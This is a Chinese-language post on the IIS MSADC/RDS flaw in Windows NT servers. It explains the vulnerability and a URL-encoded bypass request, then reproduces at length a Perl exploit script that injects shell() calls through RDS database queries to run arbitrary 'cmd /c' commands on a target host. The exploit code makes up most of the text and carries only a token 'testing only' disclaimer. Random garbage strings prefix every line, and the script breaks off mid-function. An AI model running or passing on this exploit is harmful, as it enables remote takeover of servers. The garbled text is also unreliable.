IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`r6 ,+& 0
1rK8jX 涉及程序:
Q->sV$^=T Microsoft NT server
i>`%TW:g Naf0)3q>! 描述:
v0{i0%d,? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
W:2( .? kiaw4_ 详细:
Ty?cC** 如果你没有时间读详细内容的话,就删除:
q6luUx,@m c:\Program Files\Common Files\System\Msadc\msadcs.dll
_1\v 有关的安全问题就没有了。
_
]ipajT D#C~pdp 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7&)bJ@1U eu-*?]&Di 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
+{.WQA}z\ 关于利用ODBC远程漏洞的描述,请参看:
P/eeC" cKI9#t_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'rkdZ=x{ zR:L!S 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
F@KGj| http://www.microsoft.com/security/bulletins/MS99-025faq.asp &K#M*B,*p IM'r8V 这里不再论述。
=j]<t oJz^|dW 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
+mj y<~\ ?);v`] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1.GQau~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;A'mB6?%H <iC(`J$D i-_mTY&M #将下面这段保存为txt文件,然后: "perl -x 文件名"
g*_& %ntRG! #!perl
%5n_
p^xp #
Xl#ggub? # MSADC/RDS 'usage' (aka exploit) script
E{`fF8]K #
45c$nuZ # by rain.forest.puppy
*])
`z8Ox #
vpr.Hn # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
uo8YP<q # beta test and find errors!
jV1.Yz(` hMO=#up& use Socket; use Getopt::Std;
wlqksG[B getopts("e:vd:h:XR", \%args);
\ Gvm9M yNBfUj -L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.Yn_*L+4* db7B^|Di
if (!defined $args{h} && !defined $args{R}) {
g8% &RG print qq~
#q=Efn' Usage: msadc.pl -h <host> { -d <delay> -X -v }
+a+Om73B2 -h <host> = host you want to scan (ip or domain)
^hM4j{|&M -d <seconds> = delay between calls, default 1 second
*.t7G -X = dump Index Server path table, if available
.W!i7 -v = verbose
(hbyEQhF -e = external dictionary file for step 5
O_7|C\] }S-O&Z Or a -R will resume a command session
_]H&,</ `Ggbi4), ~; exit;}
JK5gQ3C[ 8(~h"]`! $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%dVZ0dl if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H<,gU`&R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
bq*eH (qx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\_f(M| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
n{mfn*r. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+ye3HGD ?Z/V~, if (!defined $args{R}){ $ret = &has_msadc;
n/:33DAB die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
eD6fpe\( @*((1(q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1oGw4kD^x . "cmd /c ";
8<Av@9 *} $in=<STDIN>; chomp $in;
)Ql%r?(F+ $command="cmd /c " . $in ;
Vt#.eL)Ee e(t\g^X if (defined $args{R}) {&load; exit;}
@:#eb1<S p<"m[Dt] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/a4{?? #e &try_btcustmr;
XW]tnrs (O3nL. print "\nStep 2: Trying to make our own DSN...";
eeB{c.# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_w+Qy. 4H&+dRI" print "\nStep 3: Trying known DSNs...";
Rima;9.Y0 &known_dsn;
AoxA+.O U>N1Od4vTO print "\nStep 4: Trying known .mdbs...";
N<}5A% &known_mdb;
wbl& ZD{LXJ{Vm if (defined $args{e}){
y}|s&4Sq print "\nStep 5: Trying dictionary of DSN names...";
4,DeHJjAlE &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Y$@?.)tY Lp9E:D-> print "Sorry Charley...maybe next time?\n";
oCz/HQoBk exit;
/7YIn3 <RL] ##############################################################################
(9dl(QSd DB,J3bm sub sendraw { # ripped and modded from whisker
/%^#8<=|U sleep($delay); # it's a DoS on the server! At least on mine...
3[*}4}k9 my ($pstr)=@_;
H4+i.*T# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D*d]aC die("Socket problems\n");
]t"Ss_, if(connect(S,pack "SnA4x8",2,80,$target)){
PEZ!n.'S select(S); $|=1;
=UWI9M*sz print $pstr; my @in=<S>;
|yPu!pfl select(STDOUT); close(S);
I; rGD^ return @in;
c]!V'#U } else { die("Can't connect...\n"); }}
WH^%:4 a\*yZlXKs ##############################################################################
UkFC~17P Z,PPu&lmE/ sub make_header { # make the HTTP request
6D3B^.rj] my $msadc=<<EOT
X"%gQ.1|{j POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
yJIscwF User-Agent: ACTIVEDATA
;aVZ"~a+\ Host: $ip
l.M0`Cn-% Content-Length: $clen
Iu=(qU Connection: Keep-Alive
c-sfg>0 ^ 2D5StCF$O ADCClientVersion:01.06
La[V$+Y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
3ckclO\|> `Urhy#LC --!ADM!ROX!YOUR!WORLD!
FGzwhgy Content-Type: application/x-varg
,I;>aE<# Content-Length: $reqlen
;!Fn1|) r5^eNg k EOT
k+*u/neh ; $msadc=~s/\n/\r\n/g;
x]j W<A return $msadc;}
V!~wj 2GG2jky{/ ##############################################################################
zfdl45 =?8@#]G+ sub make_req { # make the RDS request
I7]8Y=xf my ($switch, $p1, $p2)=@_;
N?8!3&TiV my $req=""; my $t1, $t2, $query, $dsn;
f
_:A0 j1<Yg,_.p if ($switch==1){ # this is the btcustmr.mdb query
CAf6:^0 $query="Select * from Customers where City=" . make_shell();
&UFZS94@r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
P.DK0VgY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#AY&BWS$ gjlx~.0d elsif ($switch==2){ # this is general make table query
<C*hokqqP $query="create table AZZ (B int, C varchar(10))";
{{!-Gr $dsn="$p1";}
~"A0Rs= UPGtj"2v- elsif ($switch==3){ # this is general exploit table query
Q/Rqa5LI: $query="select * from AZZ where C=" . make_shell();
{n=|Db~S $dsn="$p1";}
yB!dp;gM{ x4O~q0>:Le elsif ($switch==4){ # attempt to hork file info from index server
t_1LL >R $query="select path from scope()";
/x *3}oI $dsn="Provider=MSIDXS;";}
\w8\1~# 7d\QB(~ elsif ($switch==5){ # bad query
K(|}dl: $query="select";
@O~pV`_tD $dsn="$p1";}
nJ;.Td R.3q0yZ
wF $t1= make_unicode($query);
cWm$;`Q#\ $t2= make_unicode($dsn);
# f\rt
$req = "\x02\x00\x03\x00";
8 zb/xP> $req.= "\x08\x00" . pack ("S1", length($t1));
n=q76W\ $req.= "\x00\x00" . $t1 ;
7xR\kL., $req.= "\x08\x00" . pack ("S1", length($t2));
_#8MkW#]~ $req.= "\x00\x00" . $t2 ;
"J1
4C9u
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-G=]=f/' return $req;}
2fS:-
8N vih9KBT ##############################################################################
J.%IfN /mZE/>&~, sub make_shell { # this makes the shell() statement
Zwx%7l;C return "'|shell(\"$command\")|'";}
!5N.B|Nt !<h)w#>en ##############################################################################
xyxy`qR A @(lh%@hO sub make_unicode { # quick little function to convert to unicode
l+b~KU7~l my ($in)=@_; my $out;
|vC~HJpuv' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{.]7!ISl5 return $out;}
2KZneS` ;F Eqe49 ##############################################################################
%l%HHT K)P%;X sub rdo_success { # checks for RDO return success (this is kludge)
!@"OB~ my (@in) = @_; my $base=content_start(@in);
SS2%qv if($in[$base]=~/multipart\/mixed/){
3(UVg!t return 1 if( $in[$base+10]=~/^\x09\x00/ );}
V VCZ9MVJ return 0;}
uw8f ~:LT y)<q/ ##############################################################################
2A!FDr~cdT ]_$[8#kg sub make_dsn { # this makes a DSN for us
5IG-~jzCLb my @drives=("c","d","e","f");
(V@HR9?W) print "\nMaking DSN: ";
4&iCht
= foreach $drive (@drives) {
Z30A{6} print "$drive: ";
"wc<B4" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2Z%O7V~u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
IVmo5,&5( . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
E(|>Ddv B& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
}K9H^H@r! return 0 if $2 eq "404"; # not found/doesn't exist
yh=N@Z*zP if($2 eq "200") {
8b=_Y; foreach $line (@results) {
eV~goj return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
K<J9~ } return 0;}
DaVa} LIrb6g&xj_ ##############################################################################
F:ELPs4" .G\7cZ sub verify_exists {
T]$U"" my ($page)=@_;
#A.@i+Zv my @results=sendraw("GET $page HTTP/1.0\n\n");
:gC#hmm^ return $results[0];}
BJ0?kX@ %|4UsWZ ##############################################################################
Y9|!+,
WEpoBP
CL sub try_btcustmr {
bPMhfK2 % my @drives=("c","d","e","f");
)`}:8y? my @dirs=("winnt","winnt35","winnt351","win","windows");
y+;|Fz xN(|A}w foreach $dir (@dirs) {
!!y a print "$dir -> "; # fun status so you can see progress
MO]&bHH7; foreach $drive (@drives) {
nj4/#W print "$drive: "; # ditto
dqAw5[qMJ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
h`wD $reqlenlen=length( "$reqlen" );
BerwI
7!= $clen= 206 + $reqlenlen + $reqlen;
l;V173W=& tMe ~vq[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
L0]_X#s># if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1 {)Q[#l else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
<-0]i_4sK azU"G(6y?+ ##############################################################################
Y^]rMK/; O
H7FkR sub odbc_error {
.p$(ZH =~ my (@in)=@_; my $base;
2TuU2 f. my $base = content_start(@in);
y> (w\K9W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8>%hz$no= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(iGTACoF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-Qe Z#w| $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L=h'Qgk% return $in[$base+4].$in[$base+5].$in[$base+6];}
.sA.C]f print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'ig'cRD6N print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
hzC>~Ub5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
PRT +mT {: W$LWET ##############################################################################
t:c.LFrF -.3w^D"l sub verbose {
@|)Z"m7 my ($in)=@_;
L8n|m!MOD return if !$verbose;
y_9Ds>p!T print STDOUT "\n$in\n";}
6zn5UW#q D#z:()VT( ##############################################################################
GJUL$9 FgI3 sub save {
l+0P my ($p1, $p2, $p3, $p4)=@_;
?hM64jI| open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/Q )\ + print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
j~QwV='S close OUT;}
Qei"'~1a \di= ##############################################################################
yppo6HGD $7uA%|\ sub load {
HorDNRyu my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
p<;0g9,1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,Lt[\_ @p=<IN>; close(IN);
iyog`s c $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
39jG8zr=Z[ $target= inet_aton($ip) || die("inet_aton problems");
-{+}@? print "Resuming to $ip ...";
l@:0e]8|o $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
wdZ/Xp9] if($p[1]==1) {
PxE3K-S)G $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Lh<).<S $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[1KuzCcK} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b u"!jHPB if (rdo_success(@results)){print "Success!\n";}
0|b>I!_"g else { print "failed\n"; verbose(odbc_error(@results));}}
&VcV$8k elsif ($p[1]==3){
]+$?u&0?w if(run_query("$p[3]")){
W}1
;Z(.* print "Success!\n";} else { print "failed\n"; }}
bJ;'`sw1 elsif ($p[1]==4){
;UP $yM; if(run_query($drvst . "$p[3]")){
E.>4C[O print "Success!\n"; } else { print "failed\n"; }}
2Hv+W-6v exit;}
YAmb`CP >"<Wjr8W!$ ##############################################################################
3yXY.>' k$7Jj-+~ sub create_table {
RX5dO% my ($in)=@_;
8KNZ](Dj $reqlen=length( make_req(2,$in,"") ) - 28;
cs'{5!i] $reqlenlen=length( "$reqlen" );
4'Zp-k?5` $clen= 206 + $reqlenlen + $reqlen;
d`6 'Z my @results=sendraw(make_header() . make_req(2,$in,""));
V470C@ return 1 if rdo_success(@results);
qyNyBr? my $temp= odbc_error(@results); verbose($temp);
e~':(/%|5; return 1 if $temp=~/Table 'AZZ' already exists/;
"wHFN>5B return 0;}
D#)b+7N- E+JqWR5 ##############################################################################
V2G6Kw9gt MqUH',\3 sub known_dsn {
1!gbTeVlY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
SZ$Kz n my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
*WT`o> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>dG[G> "banner", "banners", "ads", "ADCDemo", "ADCTest");
7\q~%lDE 6MkP |vr6 foreach $dSn (@dsns) {
;w[0t}dPl print ".";
{.\TtE next if (!is_access("DSN=$dSn"));
#C3.Jef if(create_table("DSN=$dSn")){
-D$8 print "$dSn successful\n";
O8.5}>gDn. if(run_query("DSN=$dSn")){
i7>tU= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
IN G@B#Cl print "Something's borked. Use verbose next time\n";}}} print "\n";}
YUIi; ;d9QAN&0} ##############################################################################
XvlU*TO~(~ ^v`\x5"Vp sub is_access {
C73kJa my ($in)=@_;
^`>/.gL $reqlen=length( make_req(5,$in,"") ) - 28;
k)Qtfj}uij $reqlenlen=length( "$reqlen" );
:[!j?)%> $clen= 206 + $reqlenlen + $reqlen;
h2""9aP! my @results=sendraw(make_header() . make_req(5,$in,""));
\;"=QmRD%: my $temp= odbc_error(@results);
iW /}# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
b%/ 1$>_ return 0;}
tC9n
k5~ & 9 ?\b7 ##############################################################################
;BIY^6,7e qm o9G sub run_query {
46&/gehr my ($in)=@_;
!=P1% $reqlen=length( make_req(3,$in,"") ) - 28;
"!%l/_p? $reqlenlen=length( "$reqlen" );
'CkIz"Wd $clen= 206 + $reqlenlen + $reqlen;
$'hEz/ my @results=sendraw(make_header() . make_req(3,$in,""));
.=jay{ return 1 if rdo_success(@results);
K&K